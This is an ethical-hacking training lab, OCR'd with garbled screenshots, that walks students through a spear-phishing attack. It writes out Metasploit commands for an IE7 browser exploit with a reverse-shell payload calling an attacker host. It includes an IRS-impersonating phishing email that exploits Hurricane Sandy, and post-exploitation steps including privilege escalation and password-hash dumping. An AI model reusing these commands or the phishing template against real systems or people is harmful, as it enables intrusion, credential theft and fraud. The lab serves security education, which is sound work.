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Lab 9: Using Spear Phishing to Target an Organization

Introduction

This lab is part of a series of lab exercises intended to support courseware for Ethical
Hacker training. The development of this document is funded by the Department of
Labor (DOL) Trade Adjustment Assistance Community College and Career Training
(TAACCCT) Grant No. TC-22525-11-60-A-48.

This lab includes the following tasks:

e 1 —Setting up the Attacker Machine
e 2 —Sending the Spear Phish Email to the Victim
e 3 —Exploiting the Victim Machine

Domains: System Hacking, Social Engineering, and Session Hijacking

Internal machines with Private IP addresses cannot be directly attacked from the
Internet. Finding a vulnerability for a server that sits on the Internet with a Public IP
address is a lot more difficult than it was ten to twenty years ago. When systems were
first put on the Internet, there was not a lot of security awareness and companies rarely
performed system hardening.

Nowadays, with security being taken much more seriously, attacks from Public IP
addresses to servers sitting on the public Internet are less frequent than they once
were. That being said, they still happen through methods like SQL injection, which is
covered in Lab 16 of the Ethical Hacking Lab Series. One of the main ways that hackers
do still manage to penetrate internal networks is by using techniques like Spear
Phishing. With Spear Phishing, an organization is specifically targeted. A lot of research
may go into finding out information about the target before an attack is actually
launched. A Spear Phish attack will often involve sending a malicious attachment or
providing a hyperlink.

Browser Exploit — There are many different browsers on the market such as Internet
Explorer, Firefox, Safari, Opera, and Chrome. From time to time, vulnerabilities, or
weaknesses, are discovered that will exploit certain versions of the browser. In some
cases, if your browser version is too old, the exploit might not work against your system.
For example, an Internet Explorer 7 exploit will likely not work against your system if
you are using IE6. If you have IES8, IE9, or IE10, it is also unlikely that your system will be
vulnerable. This is why it is critical for security professionals to upgrade their browsers.

Metasploit — Metasploit is an exploitation framework. Version 3 of Metasploit is
written in Ruby and has exploits for Microsoft Windows, Mac OS X, Linux, and UNIX.
Some exploits are for the operating systems themselves and others are for the
applications like Adobe Reader and Internet Explorer. There is a detailed description of
each exploit, which explains which version of the operating system, or application
software is vulnerable.
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Lab 9: Using Spear Phishing to Target an Organization

SMTP — Email is often sent by using the SMTP, or Simple Mail Transfer Protocol. By
default, most SMTP traffic is transmitted in clear text. Some people can easily
remember the function of SMTP by using the mnemonic Send Mail to People. Many
organizations are still using SMTP. Some SMTP servers do not require authentication,
which can make them a target of spammers. The SMTP protocol uses port 25 by
default.

POP 3 — Email is often received by using the POP3, or Post Office Protocol version 3,
protocol. By default, most POP traffic is transmitted in clear text. Many organizations
still use POP, which typically does require authentication. POP3 uses port 110 by
default.

Spear Phish — A spam message is an email message that is sent out to a large number of
people. A phishing email message will similarly target a large number of users, but will
try to get the end users to click links to reveal their personal information. A Spear Phish
targets a specific individual or organization. It is often a well-written, professional in
appearance email that includes a signature block and provides information relevant to
the targeted individual.
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Pod Topology

Windows Windows BackTrack
2008 Server 5

INTERNAL NETWORK 192.168.1.0/24

1

Ethical Windows
Haﬂking iIIIIII 2003 Server

[Firewall]

216.1.1.1 SE——
EXTERMAL NETWORK 216.0.0.0/8
{ 3

216.6.1.100 216.5.1.200

BackTrack
5

Figure 1: Lab Topology
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Lab Settings

The information in the table below will be needed in order to complete the lab. The
task sections below provide details on the use of this information.

Required Virtual Machines and Applications

This lab requires the use of the machine running Windows XP and Windows 7.

Although you will not be logging on to the Firewall or the Windows 2003 Exchange,
these machines are being utilized during the lab.

Windows XP Pro

192.168.1.175

Windows XP Pro Administrator password

Ethicalhackin&

External BackTrack 5

216.6.1.100 (Public IP)

External BackTrack 5 root password

toor

Windows 7

216.5.1.200 (Public IP)

Windows 7 student password

password

7/18/2013 Copyright © 2013 NISGTC
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Lab 9: Using Spear Phishing to Target an Organization
1 Setting up the Attacker Machine
In order to exploit the remote target, we will start a listener on our External BackTrack 5

machine by utilizing Metasploit. The Metasploit framework will provide you with a link
that will execute a malicious payload once the user’s browser connects to the attacker.

Keep in mind that Linux commands are case sensitive. The commands below must be
entered exactly as shown.
1.1 Use Metasploit to List Browser Exploits

1. Open aterminal on the Linux system by clicking on the picture to the right of the
word System in the task bar in the top of the screen.

\Apphcauons Places System [~ |

4

A v % root@bt: ~
File Edit View Terminal Help

Figure 2: The Terminal Windows within BackTrack

Metasploit has exploits for various browsers on the market such as Internet Explorer,
Mozilla Firefox, Google Chrome, and Safari. Brower exploits often only work when a
specific version of the operating system is used. For example, an Internet Explorer 8
exploit for Windows 7 may not work on Windows Vista or Windows XP.

2. Type the following command to start Metasploit.
root@bt:~#msfconsole

~ v % root@bt: ~
Edit View Terminal Help

:~# msfconsole

3Kom SuperHack II Logon

: 1.9}

152upost

8 nops

Figure 3: Metasploit
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When Metasploit is first launched, it tells you the number of exploits and the version.

3. Type the following command to list all of the browser exploits within Metasploit:
msf > search name:browser type:exploit

00:00:00 UTC good

3 00:00:;00°UTC “normal

-02 00:00:00 UTC normal
00:00:00 UTC cellent

00:00:00 UTCgreat

00:00:00 UTC excellent

Figure 4: Searching for Browser Exploits

4. Type the following command to list all of the Firefox exploits within Metasploit:
msf > search name:firefox type:exploit

apped addon

2011
lacattribehildremoved 2011%
r/mozilla intérleaved write

Llla reduceright 011-06-21 00: @ UTC normal

Figure 5: Searching for Firefox Exploits

In many cases, Windows users will be utilizing Internet Explorer because it comes
packaged with their operating system. Novice users tend to use Internet Explorer.
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5. Type the following command to list all of the Explorer exploits within Metasploit:
msf > search name:explorer type:exploit

1ame :explore

mmommim

m

mnomMmMOMM
D000

DM

mnnmn

mmmam

Figure 6: Searching for Internet Explorer Exploits

6. We will get information about a specific browser exploit by typing the following:
msf > info exploit/windows/browser/ms12_037_same_id

> info exploit/windows/brows 1 037 same id

ID Property Deleted Object Handling emory Corruption

same_ 1d

with JRE ROP

Figure 7: A Specific Internet Explorer Exploit

According to the information provided, the ms12_037_same_id browser exploit, there
are three operating systems that are vulnerable to the exploit if they are running IES.

e |E 8 on Windows XP SP3 with msvcrt ROP
e |E 8 on Windows XP SP3 with JRE ROP
e |E 8 on Windows 7 SP1/Vista SP2 with JRE ROP
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Part of the reason we examined the ms12_037_same_id browser exploit, other than the
fact that it was listed last among the Internet Explorer exploits, is to illustrate the point
that modern browsers and operating systems are also vulnerable to exploitation. In the
case of our victim, we have inside information that the victim we will be targeting
running the Windows XP operating system with the Internet Explorer 7 browser. To
target this specific victim, we will need to select a browser exploit for XP SP2 with IE7.

7. We will get information about a specific browser exploit by typing the following:
msf > use windows/browser/ms09_002_memory_corruption

use windows/browser/ms89 082 memory corr __jpti[:] n

exploit(

Figure 8: Selecting the Browser Exploit

8. To determine if this exploit is suitable for the victim machine, type:
msf exploit(ms09_002_memory_corruption) > info

msf exploit( ) > info

Name: Internet Explorer 7 CFunctionPointer Uninitialized Memory Corruption
Module: exploit/windows/browser/ms@9 002 memory corruption
Version: 15188
Platform: Windows
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal

Provided b
dean <dean@zerodaysolutions.com>

Available targets:
Id Name

0 Windows XP SP2-SP3 / Windows Vista SPO / IE 7

Figure 9: The Information about the Exploit

This exploit will work against systems running either XP or Vista SPO with IE7. One
interesting thing to note here is that if your browser is too old, the exploit might not
work. This exploit will likely not work against an XP system using the older Internet
Explorer 6.
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9. Type the following command to see the options for this browser exploit:
msf exploit(ms09_002_memory_corruption) > show options

) > show options
Module options (exploity ws/browser/ms@9 062 memory corruption):

Name Current Setting Required DEscription

SRVHOST y The localt”host to listen on. This must be anf@ddress on'the local.maghine of 0.0.0.0
SRVPORT 8080 Thegdocalyport Toglistenon.
SsL false Negotiate SSL for incoming cofinections

to a custom SSL certificate (default is rando
sion  SSL3 f er

IExploit target:
Id Name

0 Windows XP SP2-SP3 / Windows Vista SP® / IE 7

Figure 10: Showing the Exploit’s Options

10. To set the SRVHOST, type the following command within the exploit subprompt:
msf exploit(ms09_002_memory_corruption) > set SRVHOST 216.6.1.100

msf exploit| } = t SRVHOST 216.6.1.188
SEVHOST == 216.6.1.188

Figure 11: Setting the SRVHOST

11. To set the SRVPORT, type the following command within the exploit subprompt:
msf exploit(ms09_002_memory_corruption) > set SRVPORT 80

set SRVPORT 88

Figure 12: Setting the SRVPORT

Using 8080 is not going to be as effective as using 80 for the web server port. In some
cases, only 80 and 443 are allowed outbound for organizations. And, if a port besides 80
is used, that port must be specified within the URL, or Uniform Resource Locater. For
example, if 8080 were used for Amazon’s web site, the end user would need to type in
http:://www.amazon.com:8080 to make a connection to the site from a browser.

12. To set the payload that will be used against the connecting victim, type:
msf exploit(ms09_002_memory_corruption) > set payload windows/meterpreter/reverse_tcp

msf exploit( ) > set payload windows/meterpreter/reverse tcp

Ipayload => windows/meterpreter/reverse tcp
Figure 13: Setting the Payload
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13. To set the |host (local host) for the exploit, type the following command:
msf exploit(ms09_002_memory_corruption) > set lhost 216.6.1.100

Egi exploit( ) = s¢ ost 216.6.1.188

Lhost == 216.6.1.100

Figure 14: Setting the Local Host (LHOST)

The final option that will be set is the URIPATH. If this value is not set, it will seem a lot
more obvious that the link is bogus, because the URIPATH will be randomly generated.

14. To set the URIPATH for the web server with the malicious PAYLOAD, type
msf exploit(ms09_002_memory_corruption) > set URIPATH taxrefund

efund

efund

Figure 15: Setting the URIPATH

15. Type the following command to view all of the settings you have configured:
msf exploit(ms09_002_memory_corruption) > show options

> show options

SRVPORT
i E
SSLC
SSLV

URIPATH

yvyload options (windows/meterpreter/re\

Current Setting Requir
EXITFUNC I
LHOST 216.6.1. listen addre
LPORT 5 I TIistenport

Figure 16: Showing the Options

16. Type the following command to start the listener for remote connections:
msf exploit(ms09_002_memory_corruption) > exploit

exploit( ) > exploit
Exploit running as background job.
exploit( ) >

Started reverse handler on 216.6.1.100:4444
Using URL: http://216.6.1.100:80/taxrefund
Server started.

Figure 17: Running the Exploit Command
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Some important things to note when using this or other similar browser exploits:

e The exploit command will only accept one remote connection
e The exploit —z —j command will only accept multiple remote connections
¢ No exploit will happen until a machine connects to this machine or port 80

1.2 Conclusion

There are a large number of browsers in use today including Internet Explorer, Firefox,
Safari, Opera, and Chrome. Browsers and the applications associated with them, such
as JavaScript and Adobe Flash, are sometimes vulnerable to exploitation. Upgrading
your browser to the most current version can help protect your system from being
exploited.

1.3 Discussion Questions

How do you search for browser exploits within Metasploit?

How do you search for Internet Explorer exploits within Metasploit?

Why is it a good idea to change the exploit’s default port from 8080 to 807?
Why is it a good idea to change the default random URIPATH of the exploit?

PwnNPE
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Lab 9: Using Spear Phishing to Target an Organization

2 Sending the Spear Phish Email to the Victim

In this exercise, you will send the malicious link, and then convince the victim, who we
have targeted, that it is to their major benefit to click on the link. Once the user clicks
on the link and connects to the machine running BackTrack, a malicious payload will be
launched. After the payload is launched, the attacker will be connected to the victim.

2.1 Configure and Send Spear Phish Email

1. On the Windows 7 machine, login to the student account with the password of
password. Open Outlook by double-clicking the desktop shortcut.

MetworkMin. .. wireshark

Figure 18: Opening Outlook

2. Click Next at the startup screen. Select Yes to configure an email account.

‘fou can configure Outlook bo connect ko a Microsaft Exchange Server, Internet
E-mail, or other E-mail server. Would wou like to configure an E-mail account?

* Yes
= Mo

Figure 19: Yes to Configure Email
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3. Select POP3 (Post Office Protocol) as the server type. Click the Next button.

Server Type
Yo can choose the bype of server wour nesw e-mail acount will wark, with,

" Microsoft Exchange Server
Conneck ba an Exchange server to read e-mail, access public Folders, and share

documents,
¢ ' pop3
Conneck b a POP3 e-mail server ko download wour e-mail,

Figure 20: POP 3 Server

4. Fill out the following fields:

e For your name, put Commissioner

e For your Email Address, put_Commissioner@IRS.gov

e For your User Name, put Commissioner

e For your Password, type password

e For the Incoming and Outgoing Server, put 216.1.1.1 (Firewall IP)

Click Next and Finish. You will receive a welcome to Outlook message.

E-mail Accounts x|

Internet E-mail Settings {POP3)
Each of these settings are required ko gek vour e-mail account working.

User Information Server Information

Your Mame: ICDmmissil:uner Incorning rmail server (POP3): |215| 1.1.1

E-mail Address: ICDmmissiDner@IRS.gDv Cukgoing mail server (SMTP): |216. 1.1.1

Logon Information Tesk Setkings

User Marne: ICDmmissinner After filing out the information on this screen, we
recommend you kest wour account by clicking the

Passwiord: |******** button below, (Requires network conneckion)

¥ Remember password
Test Account Setkings ...

[ Log on using Secure Password

Buthentication (SPO) More Setkings ...

< Back I Mexk = I Zancel

Figure 21: Mail Settings
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In the next step, we will use a Spear Phish attack to get the administrator to click our
link, which will execute a malicious payload against his browser to exploit his system.

5. Click the new button in the top Left corner of Outlook.
Follow the steps below to successfully send the email to rmiller.

e Leave the To box blank
e Leave the Subject blank
e Inthe message area, type:

XYZCompany:

Your company and others in the New Jersey Area are eligible for a special refund
because of hurricane sandy. This refund has been approved by Congress.

You can apply for the refund by filling out the form on our website:
http://www.irs.gov/taxrefund

Sincerely,
IRS Commissioner

2] Inbox - Microsolt Outloo

File Edit Mew Go Tools Actions Help Ty,
new - | 4 23 X | CuReply SEReply to Al (5 Forward | £ SendiReceive - | EpFind (55 | G Typeacontacttofind - | (@) !
-iolx]
Eile Edit Wiew Insert Format  Tools  Actions  Help
i=dGend | ol | B B3 @& Y B | ¥ | 2] options... | @ B Arial -l - |A[B 7 U|E = =:Si=EE :_;H

| |
||
|

Subject:

K ZCompany,

Your company and others in the MNew Jersey Area are eligible for a special refund because of hurricane sandy. This refund has been approved
by Congress.
You can apply for the refund by filling out the form on our website: http: A, irs. govitaxrefund

Sincerely,
IRS Cormmissioner

Figure 22: Spear Phish Email

It is very common for attackers to use events such as natural disasters or tragedies to
increase the likelihood that their link will be followed. If someone sent out an email
regarding an emergency on any campus, would it be likely that people would click on it?
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6. Save the email by selecting file from the menu bar and selecting Save As.

| ﬁ IRS Refund - Message (HTML)

© File Edit ‘iew Insert Format  Tools  Actions  Help

Pidsend | [ | % SB[ 1 8 | ¥ | [ ogtions... | @ !ilﬂria' oo -] A
Ta., IrmillEF@KYECOMF‘HNT.COM
saveas 2]
Save in: I | My Documents j @ -~ Ch | Q Sy ii v Tools+
Mame |v| Date modified |-| Twpe |v| Size |v|
l -J [@] 1 My Music
My Recent .
Documents [z My F'?ctures
[} My Yideos
D-esktnp

il

My Documents

A

My Cl:um.puter
Y
™ File name: [R5 Refund.htm j Save
l My Metwork =
Flaces Save as bype: IHTML (* bty * Henl) j ancel

Figure 23: Saving the Email as a HTML file

7. Close the email message and select No to save the changes message box.

llMicrosoft Office Dutlook x|

i l*_l Do wou want ko save changes?

Yes Mo | Zancel |

Figure 24: No to Save Changes
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8. We will now edit the saved file, changing www.irs.gov to IP address 216.6.1.200
To do this, click on Start and select Documents from the menu. Right-click on
the IRS Refund.htm, choose open with, and select Notepad from the menu list.

|« Ubraries ~ Documents ~ > £33 | Search Documerts
@ Cpen ~ Sharswith v Prt E-mad  Bumn Edt = ¥ N
. Open in Same Window
= Documents library PR Rvacal Fokdes
b Includes: 2 locations 7-Zp »
oads . Open with s Defauk Host Apphcation
b Flaces @ Frefox
Share with b1 oS
(# My Music S o €5 Inkernet Explorer
My Music
hents - Send to »
[#® My Ptres - - Chooze default program. ..
Cut
Pict File folder
L 8 My Pctures .
(5 My Wdeos ~ File folder
Creste shortout
Videos Fila folde
a My TR ‘
e 2{1).ext Rename Text Document 2¥B
Pk (C:) . ™ 3
( desizop.inv Fie boc Configuration settings 1¥B
desitop. e Configuration settings 1¥8
2 7S Refund.hitm HTML Docurnent

Figure 25: Editing the Hypertext

9. Change only the www.irs.gov (after href) to the IP address of 216.6.1.100.

B IRS Refund.htm - Notepad

=100 ]
File Edit Format Yiew Help
[c!'DOCTYPE HTML PUBLIC "—/W3C//DTD HTML 4.0 Transitional/ /En"> -
<HTML><HEAD> i
<META content="texty/html; charset=us-ascii" http-equiv=Ccontent-Type>
<META name=cEMERATOR content="MSHTML 8,00.7600.16385" < HEAD>
<BODY >
<DIVe<FOMT size=2 face=arialzxyZCompany, </ FONT»></DIV>
<DIve&nbsp; < DI
<DIVz<FONT_size=2 face=arialzvour comparny and others in the New Jersey Area are
EHQEE I ecial refund because of hurricane sandg. This refund has been
appr E!ess. <BR>vou can apply for the refund by fi174ng out the form
on our website: <A
href="http: Awww. irs.gov/taxrefund">http: Awww. Trs. gov/taxrefund</ins
<A FONT =</ DIV |-
<DIVx=&nbsp; < /D
<DIVe<FONT =1ze= e=arialzsincerely, <BR:>IRS
-
< ' 4
I8 1rs Refund htm - Notepad ] B3
File Edit Format Wiew Help
<! DOCTYPE HTML PUBLIC "-//w3C//0DTD HTML 4.0 Transitionalys EN"> -
<HTML><HEAD> =
<META content="text, /html; charset=us-ascii" http-equiv=Content-Type>
<META hame=GEMERATOR <ontent="MSHTML 8.00.7600,16385" < HEAD>
<BODY >
<DIV=<FONT si1ze=Z face=arialzxyZCompany, </ FONT=< DIV>
<DIV>&nbsp; </DIV>
<DIVE<FONT si1ze=2 face=arialszvour company and others in the Mew Jersey area are
eligipml special refund because of hurricane sandg. This refund has been
appr ﬁcﬂngress. <BR>vou can apply for the refund by fi174ng out the form
On our webdsite: <A
href="http://216.6.1. 100/t axrefund”>http:/Avww. Trs. gov/Taxrefund<as
</FONT=></DIV> =
<DIv>&nbsp; < /D,
<DIV=<FONT s1z8 ca=Aarials=sincerely, <BR>IRS
-
KTl 4

Figure 26: Save Changes to the Hypertext
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10. Click New from the Outlook Menu bar. Click Insert file. Single click on IRS
Refund.htm and click the arrow dropdown box and change to Insert as Text.

[&] Inbox - Microsoft Dutlook

© File Edit Wiew Go Tools  Actions  Help

= Wi X E}gﬁeply aReply ta Al F_—.}Forﬂard g_jjSend,l’Regeive - gpFi_nd @ [ Type acontact ko find

Figure 27: Loading the Altered File

The email message will reappear as originally typed, but the hyperlink advertised to
www.irs.gov will now go to the IP address of 216.6.1.100 hosting the browser exploit.

ER Untitled - Message (HTML)

 Fle Edt View Insert Format  Tools  Actions  Help

iiGend | [ | X B2 | ? 8 | ¥ | E) options... | @ E§|F\rial

.||1n .| A|lB I@%

=101

Subject: |

KX ZCompany,

by Congress.
You can apply for the refund by filling out the form on our website: http: S irs. govitaxrefund

Sincerely,
IRS Cammi

innar

Your company and athers in the Mew Jersey Area are eligible for a special refund because of huricane sandy. This refund has been approved

Figure 28: The Email Message Appears the Same
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% Untitled - Message (HTML)
© Fle Edit View fInsertf Format Tools  Actions  Help
Posend |G| X Ba B ! 8 | ¥ | [ options... | @ E§|Aria| AR £ U|===:= iz iE
Ta... I I
Ce... | I
T N rsertFile 2| |
Look in: I | My Documents j @ - 4 Q 'X Cal |j - Tools ~ ‘l
ame |v| Date modified |v| Tvpe |v| Size |v|
l # @ My Music
My Recent ;
Docurnents =My P!ctures
[ My Yideos
- 21kt
. desktop.ini
Desktop gIRS Refund.htm
b
My Docurments
LY
G
My Computer
“w
— File name: - Insert |+
My Metwork I J — rl
Places Files of type: I,q|| Files (*.%) j Insert
Insert as Text ;I
— TT 1| TICTC IO O [T T Insert as Attachment  prcyomeT T
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11. Now we need to add a sender address and a subject. Type the following:

e Inthe To box, type rmiller@XYZCOMPANY.COM

e For the Subject, type IRS Refund

© Fle Edt ‘Wiew Insett Format  Tools  Actions  Help

ER IRS - Message (HTML)

Siigend | [ | 4 B2 @& Y 8| ¥ | k] options.. | @ §|Arial

L+ |
B
L+ |
o
-]
by
[=]
]
(|
il
I
i
H
i
il

= o= A !

Ta... I Irmiller@XYZCOMPANY.COM

. ||

Subject: IIRS Fefund

WY ZCompany,

by Congress.

Your company and others in the New Jersey Area are eligible for a special refund because of hurricane sandy. This refund has been approved

You can apply for the refund by filling out the form on our website: http: A irs. govtasrefund

Sincerely,
IRS Commissioner

Figure 29: Adding To and Subject Fields

To step-up our game even further, we will add the official IRS logo, an Internet

download.

12. From the menu bar of the email message, select Insert, and then choose picture.
Click the Browse button and click on the IRS logo. Click the OK button.

File Edit Miew Insert  Format  Tools  Actions

Help

i i=3gend | [l | % B2 @ | [ opions... [ :[Ana

e

AlB 7 U |E]3

rrniller @y ZCOMPANY  COM

To... | |
ol | |

subject:  [IRS Refund

Picture Source:

|I::"-.L| zerghatudenthPictures1 40p:-L1!

Browsze. . I Ok, I

¥ ICompa aw L= o T
ﬁPicture

el I

Your comp
sandy. Thiz

OO | =| = student -~ My Pictures

You can ag

Sincerely, =—

RS Commise i Faworites

Bl Deskiop
& Downloads
=l Recent Places

Qrganize - MNew Falder

140px-US-Inkernal

. Libraries :
Revenueservice-5e
D; Dacurents al_swa.png
P

Figure 30: Adding the Official IRS logo
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Lab 9: Using Spear Phishing to Target an Organization

13. Send the Spear Phish email to the victim rmiller@XYZCOMPANY.COM Click Send.

ER IRS Refund - Message (HTML)

&
Ix

File Edit ‘Wew Insert Format  Tools  Actions  Help

'Eiendlﬂléﬁ @[ 8w optons. @ !5*‘”6' o -|A|B I DIEESEERE
To,. | [mier@reconpany.com

. ||

Subject: IIRS Refund

=
W ZCompany,

Your company and others in the New Jersey Area are eligible for a special refund because of hurricane sandy. This refund has been approved
by Congress.

You can apply for the refund by filling out the form on our website: hitp: e irs. govtasrefund

Sincerely,
IRS Carnrmissioner

Figure 31: Sending the Official Looking Email

14. Log on to Windows XP Pro as Administrator with the password of
Ethicalhackin&.

Administrator

)
B

Figure 32: Logging in as Administrator
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15. Click on the start button and then select E-mail from the Start Menu.

Administrator

Internet __) My Documents
Inkernet Explarer

e
] b My Recent Documents
f vl E-mail
Cutlook E
HHOER ERRTESS 3 My Pictures

MSH -_:,* My Music

Windows Media Player

Windows Messenger

“O4

Set Program Access and
Defaults

I Tour Windows XP

®

E:é Printers and Faxes

. Files and Settings Transfer -
\Wizard ? 9) Help and Suppork

Cormmand Prompt )-) Search

7] Run...

&ll Programs D

ﬁ| Log OFf rﬁ) | Turn OFf Compuker

4 start e

Figure 33: Opening Outlook Express

16. Click the Send/Receive button to ensure that the email is received.

¥ Inbox - Outlook Express
File Edit Miew Tools Message Help

B . & & 8 2 X

Create Mail Reply Reply &l Forward Print Delete Send/Recy

Figure 34: Send/Receive Button on Outlook Express
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Lab 9: Using Spear Phishing to Target an Organization

17. The email should appear in rmiller’s inbox. Before clicking on the Hyperlink as
the victim likely would, hover over the email address and view the actual
destination address of the link in the far left corner. Now, click the hyperlink.

¥ Inbox - Outlook Express E@@

File  Edit Wiew  Tools Message Help ,?
- . — .
. B . e Gy (") = > = . I N
: Create Mail Reply Reply all Farward Print Delete SendfRecy Addresses Find
Folders = * O ¥ From Subject Received <
3 Sutlook Express (23 Microsoft Outlook Expre...  Wwelcome to Outlock Express & 12/27}2012 9:59 PM
= D Local Folders =) Commissioner IRS Refund 3 10:50 PM
Ea Inbox
¥ outbox
B4 Sent Items From: Commissionet  To: rmiller@Ey ZCoMParMyY oM
Subject: IRS Refund
{3 Deleted Items
B} Drafts
¥ ICampany,
Your company and others in the New Jersey Area are eligible for a special refund because of hurricane sandy. This refund
has been approved by Congress.
You can apply for the refund by filling oot the form on our wehsnetl_httn'ﬂww irs govitaxrefund I
Sincerely,
IRS Commissioner
Contacks = =

There are no conkacks to display . Click
on Contacks ko create a new contack.

ra

'ﬂttp:,f,l’216.6. 1.100ftaxrefund I

Figure 35: Spear Phish Email in the Inbox

Go back to the External BackTrack 5 attack machine. You should see the message,
Successfully migrated to process. BackTrack switches from the Internet Explorer process
to Notepad in case the user closes their browsing session. The migration keeps the
attacker connected, regardless of whether the victim closes Internet Explorer or not.

ms09 002 memory corruption - Sendi

-> 216.1.1.1:1045) at 2013-01-05 23:04
1:1045) processipg InitialkAutoRunScript 'mi

Figure 35: Migrating from lexplore.exe to notepad.exe
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Lab 9: Using Spear Phishing to Target an Organization

18. To view a list of the active sessions, hit enter then type the following command:
msf exploit(ms09_002_memory_corruption) > sessions —|

exploit(

Information

meterpreter x86/win32 WIN) dministrator @ WINXP 216.6.1.100:4444 -> 216.1.1.1:1045 (192.168.1.175)

Figure 36: The Active Meterpreter Session

Notice that Metasploit has the IP address of the firewall. Thisis the public IP address
that the Windows XP machine connects to the Internet through. Also, notice that the
Internal IP address is listed to the right of the firewall IP address.

Windows Windows BackTrack Windows
2003 SOL 2008 Server XFP Pro

INTERNAL NETWORK 192f168.1.0/24

1 —

Ethical s yindows =]
. erver

Hacking UL [Firewall]

216.1.1.1

EXTERNAL NETWORK 216.0.0.0/8
. 216.1.1.1:1045 (192.168.1.175)

216.5.1.200

BackTrack Windows
5 7

Figure 37: The WAN/LAN connections
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Lab 9: Using Spear Phishing to Target an Organization

19. To interact with victim’s machine within the Meterpreter session, type:
msf exploit(ms09_002_memory_corruption) > sessions -i 1

exploit(
] Starting interaction with 1...

meterpreter > |

Figure 38: Interacting with Meterpreter

20. To determine you level of access on that victim machine, type the following:
meterpreter > getuid

e: WINXP\Administrator

Figure 39: Determining the Level of Privilege

If a lesser user had clicked on the link, we might not have administrative privileges on
the box. This might require us to use Meterpreter’s getsystem command or try another
local privilege escalation exploit if that does not work. This exercise should illustrate the
importance on why typical end users should not have administrative rights on a box.

21. To attempt escalating your privileges on the victim machine, type the following:
meterpreter > getsystem

Figure 40: Escalating the Level of Privilege

2.2 Conclusion

An experienced hacker can make a Spear Phish attack email seem very credible and use
tricks like HTML editing, signature blocks, and logos to try to make the email convincing.
By hovering over a link, you can reveal the actual IP address or DNS name of the link.
User education is key; explain this lab to others who might not grasp the concept.

2.3 Discussion Questions
1. How do you determine your level of privilege within Metasploit?
2. How does Network Address Translation, or NAT, affect Metasploit?
3. How do you increase your level of privilege to system within Meterpreter?
4. What is a good strategy for detecting Spear Phish emails?
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Lab 9: Using Spear Phishing to Target an Organization

3 Exploiting the Victim Machine

In this section, you will use Meterpreter to exploit the victim. Not all of the capabilities
will be covered in this lesson, so it is recommended that you consider performing
additional experimentation with the software within the isolated environment.

Never use Meterpreter or Metasploit software outside of the isolated virtual

environment.

3.1 Exploitation Using Meterpreter

1. Onthe External BackTrack 5 Virtual Machine connected to the victim, type the

following:
meterpreter > ?

background

bgkill

bglist

bgrun

channel

close

disable unicode encoding
enable unicode encoding
ex

interact
irb

load
migrate
quit
read
resource
run

use
write

Description

Help menu

Backgrounds the current session

Kills a background meterpreter script
Lists running background scripts

Executes a meterpreter script as a background
Displays information about active channels
Closes a channel

Disables encoding of unicode strings
Enables encoding of unicode strings
Terminate the meterpreter session

Help menu

Displays information about a Post module
Interacts with a channel

Drop into irb,scripting mode

Load one or more meterpreter extensions
Migratesthe serven to anether process
Terminate the meterpréter session

Reads data fromga chamnel

Run the commands stored in a file

Executes a meterpreter script or Post modlle
Deprecated alias for 'load

Writes data to a channel

Read the contents of a file to the s
Change directory

download Download a

Figure 41: Meterpreter Commands
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Lab 9: Using Spear Phishing to Target an Organization

2. Type the following command to determine the Windows directory you reside in:
meterpreter > pwd

ings\Administrator\Desktop

Figure 42: the pwd command

The likely reason that you are in the C:\Documents and Settings\Administrator\Desktop
directory is because you launched Internet Explorer from the desktop when you opened
Outlook Express and clicked on the hyperlink to the malicious web site.

3. Type the following to determine what process has you connected to the victim.
meterpreter > getpid

Figure 43: The getpid command

The Process ID (PID) will vary. It is likely you will see a number other than 588, as seen
in this example.

4. Type the following to see what process is associated with that PID number.
meterpreter > ps

Current pid:
meterpreter >

Name Arcl Session

[System Process] 4294967295

System
TPAutoConnect.exe
708 alg.exe
412 vmtoolsd.exe
376 explorer.exe
412 VMwareTray.exe
412 msmsgs . exe

WINXP\Administrator

WINXP\Administrator
WINXP\Administrator
WINXP\Administrator
WINXP\Administrator
NT AUTHORITY\SYSTEM
WINXP\Administrator

4 SMSS.exe
1052 notepad.exe

[cNoNoNoNoNoNoNoNol

Figure 44: Processes on the Victim Machine
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Lab 9: Using Spear Phishing to Target an Organization

The process we are connected to is Notepad because Metasploit automatically switched
the process because the user could close Internet Explorer and disconnect our session.

One or more processes can also be killed using Meterpreter using the kill command. An
attacker's strategy may include killing processes associated with anti-virus. The process
associated with getpid is one process you do not want to kill on the victim machine.

kill pidl pid2 pid3

Terminate one or more prc

Figure 45: Killing Processes on the Victim Machine

You can get a screenshot of the desktop to see what the victim is doing on their system.

5. Click the Services Selection on the left and click refresh in the right pane. Find
meterpreter > screenshot

% ImageMagick: w3mtmp7370-0

-jpeg

3 y -
¥ . & @ “8 - X =5
Create Mail Reply Reply all Forward Print Delete Send/Recyv Addresses Find
h _— —

5 ﬁ http:#/216.6.1.100/taxrefund - Windows Internet Explorer
ers ~

J Outlook Express A Y £ | http:/{216.6.1.100/taxrefund?ykyQFSFMK]
@ Local Folders y
B Inbox
& outbox L7 4R | @ http:fi216.6.1.100/taxrefund

S Sent Items
(3 Deleted Items

<8 Drafts

ntacts ¥

ere are no contacts to displd
Contacts to create a new c|

m >
Scree ot s poHho. jpeg

Figure 46: Screenshot
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You also have the ability to dump the Windows LM (LAN Manager) and New Technology
LAN Manager (NTLM) hashes from the system. After dumping, a tool like John the
Ripper or Cain can be used to crack the password hashes.

6. To dump the hashes on the remote machine, type the following command:
meterpreter > hashdump

meterpreter > hashdump

Administrator:560:921aa3667261191078be710e0edac29b: cBacd9cdad44747e45d7608c489dab: : :
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73¢59d7e0c089cO: : :
hacker:1004:a9a1d510b01177d1aad3b435b51404ee:afcd44ee7351d61d00698796dab6blebf: : :

HelpAssistant:1000:56991ec2debeda22379753¢3550506a8: 535b8a5¢ch471¢874715a13259623614: : ;
SUPPORT 388945a0:1002:aad3b435b51404eeaad3b435h51404¢ee:9765e54143F42ee07ec69cee5h4280¢3: : :
victim:1005:aad3b435b51404eeaad3b435b51404ee:31d6cTe0d16ae931b73¢59d7e0c089cO: : :

Figure 47: Dumping the Password Hashes

3.2 Conclusion

Meterpreter is an advanced command line environment that allows the hacker to
perform malicious tasks against a victim machine over an encrypted connection. The
attacker can perform such tasks as privilege escalation, dumping hashes, as well as
killing processes and taking a screenshot. Metasploit should only be used and tested on
machines running in an isolated lab environment. It should not be used "in the wild".

3.3 Discussion Questions
1. What does the getpid command within Meterpreter indicate?
2. How do you dump hashes within Meterpreter?
3. How do you kill a process within Meterpreter?
